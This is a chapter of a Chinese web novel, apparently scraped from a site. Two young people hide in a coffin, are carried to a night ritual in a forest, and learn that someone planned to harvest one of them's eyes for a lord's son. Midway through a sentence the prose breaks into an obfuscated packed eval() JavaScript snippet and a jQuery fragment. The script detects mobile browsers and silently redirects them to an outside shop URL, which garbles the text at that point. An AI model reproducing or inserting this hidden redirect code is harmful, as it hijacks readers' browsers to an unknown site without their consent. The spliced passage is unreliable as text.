狭小的棺椁之内,空间逼仄密闭,空气凝滞冰凉。
少女半撑着身子悬在少年上方,火火光颤颤巍巍,映得少年白皙的眉眼愈发通透。
他长睫静垂,唇色偏淡,整个人看似死寂,可那缕温热绵长的呼吸,却证明他是活着的。
或许是方才她与沈郁摔下来的动静太大,棺外的脚步声开始四散开来,好像有指尖摸索石壁,敲打地面的声响。
谢镜黎指尖飞快掐灭火折子。
突然坠入的黑暗里,只有身下人均匀温热的气息,丝丝缕缕,尽数喷洒在她颈间肌肤上,痒丝丝的,带着一种极违和的缱绻。
这回她不敢乱动了。
棺木空间本就狭小,两人挨得极近,她微微俯身的姿态,几乎是将他整个人覆在身下,隔着薄薄的衣料,能清晰触到他平稳温热的胸膛,还有缓缓起伏的呼吸节奏。
底下静躺的少年,眼睫极轻地颤了一下。
他毫无预兆地睁开眼睛。
谢镜黎在黑暗中与他四目相对。
下一瞬,一只微凉修长的手,极轻地抬了起来,没有半分攻击性,只是精准扣住了她攥着刀刃的手腕,力道不重,却因空间狭小,稳稳锁住了她所有动作。
一道低哑的男声贴着她耳畔响起,气息温热,拂得她耳廓发麻,“姑娘…..为何在我棺里?”
“陆雨疏,我还想问你呢。”她刻意压低声音,嗓音冷细,“你的棺?”
话音刚落,外头杂乱的脚步声忽然停了。下一刻,刺耳的撬棺声响顺着木板层层渗进来,震得棺内尘土簌簌往下落。
谢镜黎只觉身下猛地一空,整副棺椁竟被数人合力抬离地面,悬空晃动。
厚重棺木隔绝了外头光景,耳边只飘来两道含糊的交谈声。
“奇怪,这两副棺木看着比昨日沉上不少,要不掀开看看?”
沉上不少?谢镜黎心下一跳,另一副棺里,不会也有一个吧,那沈郁…..
另一人语气畏缩,连忙阻拦:“万万不可,谁晓得里头藏着什么东西。我们只需按吩咐运送,莫要多生事端,动作快些,法事要开始了。”
沉闷的青铜石门应声缓缓滑开,抬棺的众人脚步挪动,沿着曲折通道继续前行。
不知过了多久,那股支撑的力道骤然消散,棺身轻轻一晃,稳稳落置在平整地面上。
棺身落地时发出一声沉闷的闷响,震得棺内积尘簌簌落在两人发间。
周遭依旧笼着昏暗,远处似乎有烛火,香火微光顺着棺盖缝隙丝丝缕缕渗进来。
微微火光落在他的脸上,谢镜黎抬眼,直直撞进他的眼里里,火光碎在眼底,漾开一层粼粼波光。
棺外此起彼伏的诵经声层层叠叠压下来,木鱼敲击声一下下震得棺板轻颤。
谢镜黎身子微微挣动,“总不能一直困在棺中,什么也看不见,得想个办法出去。”
话音未落,少年倏然伸手,一把攥住她的手腕将人拉住,“来不及了,他们要开棺了。”
下一瞬,他才把仓促地松开手,低声道了句:“抱歉。”
谢镜黎无暇理会,她扒住棺盖的缝隙,向外张望,“眼下别无他法,多半免不了动手。总不能跟旁人解释,我们二人乃是夫妻,双双藏在一副棺木中等着合葬,这话说出去都没有人信吧。”
陆雨疏顿了顿,道,“姑娘,方才你是不是将一人捆住塞进另一口棺椁了?”
少女微怔:“你都听见了?”
“那口棺中本就安放着一个人。”
一道尖细刺耳的女声骤然从棺外清晰传来,带着几分愠怒:“阿郁呢?沈郁人在哪?这么重要的场合怎么人都找不到了。我分明吩咐过你们,早些去将他请来!”
有人哆哆嗦嗦,“已经派人回去找了,没看见小郎君。但守值的武僧说,明明看见小郎君进了偏殿。”
“你们是废物吗?那偏殿又没什么其他密室,这好端端的人,怎么会消失,是碰到鬼了吗?”
谢镜黎:“……….”
棺外的呵斥声引得起一阵慌乱,谢镜黎趁乱扣住棺盖边缘,借力挪开一寸缝隙,猛地将厚重的棺盖推开大半。
她身形灵巧如雀,借着混乱的遮掩纵身一跃,利落翻滚落地,卸去所有声响与力道,转瞬闪身躲至一旁参天枯树的浓黑树影之下。
陆雨疏紧随其后,动作轻盈无声,稳稳跟在她身侧。
此处是一处幽深漆黑的林地,周遭古木枯槁,枝桠狰狞交错,遮天蔽日,将月色尽数阻隔。林地正中央,矗立着一座通体雪白的圆形瓷台,形制古怪。
瓷台两侧立着两根笔直的白玉石柱,并非纯净素白,石身纹理间隐隐渗透着斑驳暗红,像是经年累月沉淀,始终洗褪不尽的血痕。石柱底端缠绕着两条粗重黝黑的铁链,铁索冰冷僵硬,沉沉垂落地面。远处林立的火把熊熊燃烧,跳动的橘红火光刺破沉沉黑暗,却添上了唯一一丝鲜活的气息。
谢镜黎微微眯起眼眸,看到瓷台中央的人影。
看身量大约是个女子,身披一件灰黑宽大斗篷,帽檐极低,看不清脸。她黑衣黑袍,唯独手背被一圈圈洁白的布条层层缠绕。
她立在高台之上,语气愠怒,正低声厉声斥责着下方慌乱的众人。
“我们先在这看看,他们到底要做什么。”谢镜黎收回视线,扒着粗糙枯树皮,压低声音侧头看向身侧少年,“陆郎君,你还未曾同我说,方才你为何会在棺椁之中?”
陆雨疏垂眸望她,神色一本正经,语气却淡得漫不经心:“或许是我得罪了他们吧。”
话音落,他微微歪头,反问回来:“姑娘本是寻人,怎反倒也寻进棺木之内?”
谢镜黎斜睨他一眼,“纯属意外。待会儿若是打起来,郎君自求多福吧。”
少年淡淡应声:“好。”
她下意识侧过身,“你这人……”
身形微转间,两人鼻尖只差寸许便要相触。
林间晚风穿破枯桠,拂乱她颊边碎发,几缕柔软青丝悠悠飘起,轻轻擦过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823704|211210||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的下颌、眉骨,细碎的痒意在黑暗里无限放大。
发丝擦过肌肤的一瞬,少年身形微僵,慌忙往后撤开半寸。
谢镜黎眉眼沉静淡漠,“罢了,你不愿多说,我便不再追问。”
“不过,我还是提醒你一下。”但她的神色还是淡淡冷了下来,“离我远一点。”
“为什么?”
谢镜黎轻声嗤笑,“他们都说我是个克星,你不怕我把你克死啊?”
陆雨疏眼睫眨动,良久才抬眸望向她,神情严肃而又认真,“姑娘还会信这个?”
谢镜黎说,“宁可信其有,不可信其无。”
“我不信。”陆雨疏抬着头,不知道在看漆漆长夜的哪一处,“从前有人与我说过,缘由天定,事在人为。”
谢镜黎没说话。从前,她也是这么认为的,可后来…
诵经声仍连绵不断,一道洪亮急切的呼喊刺破沉滞的氛围:“少爷!少爷在这里!”
突兀的声响瞬间拽回所有人的视线。
几名黑衣侍卫快步冲上祭台,俯身伸手,小心翼翼将白衣青年从棺中搀扶出来。沈郁全然没有半分清醒的迹象,依旧深陷晕厥,单薄的身子软软垂落,头颅无力地耷拉在肩头,墨发散乱覆下,遮住了苍白清俊的眉眼。
谢镜黎看了看自己的手,刚刚有下手那么重吗?
为首的侍卫面色焦灼,轻拍着他的脸颊低声呼唤,“少爷?少爷快醒醒!”
可无论旁人如何呼唤摇晃,沈郁身形绵软,双眸紧闭。
立在一侧的黑袍女子眸光沉沉扫过晕厥的青年,随即抬眸,朝着祭台正中央那道巍峨黑影微微欠身,语声带着几分刻意的恭顺:“郁儿不知为何会误入棺中,此事蹊跷,待法事结束,我必细细彻查。只是眼下时辰已到,万万不可耽搁祭祀大典。”
祭台上的人影着一身厚重绛红僧袍,脖颈挂着串漆黑骨珠,手持法杖,杖头镶嵌一枚暗沉青铜镜。而他的脸上,扣着一枚生铁打造的鬼面面具,獠牙外凸,眉眼狰狞可怖,最诡异的是面具下颚,一截长长的铁舌耷拉垂落,随着他轻微的呼吸缓缓晃动。
沉寂片刻,一道沙哑粗粝,毫无温度的声音从面具后缓缓传出,“罢了。晕着便晕着,祭天大吉之时,分毫不可有误。”
“是。”
黑袍女子应声,回身吩咐把另一个棺也开了。
棺盖挪开的瞬间,她瞳孔骤然一缩。
内里空空如也,连半点人影踪迹都无存。
滔天怒火瞬间涌上心头,她冷声唤来身侧侍卫,语调淬着寒意,“棺中之人呢?怎么少了一个?”
那侍卫闻言瞬间慌了神,脊背紧绷,神色慌乱,说话都变得支支吾吾,“属、属下不知……方才查验之时,这棺中明明躺着一位少年郎!他当初入寺只是为了求药,他看着性情木讷、性子愚钝,瞧着极好拿捏。只是属下见他生得极好,一双眼眸澄澈透亮、品相绝佳,下意识觉得,想着若是将这双眼睛换给少爷,恰好能治好少爷的眼疾……”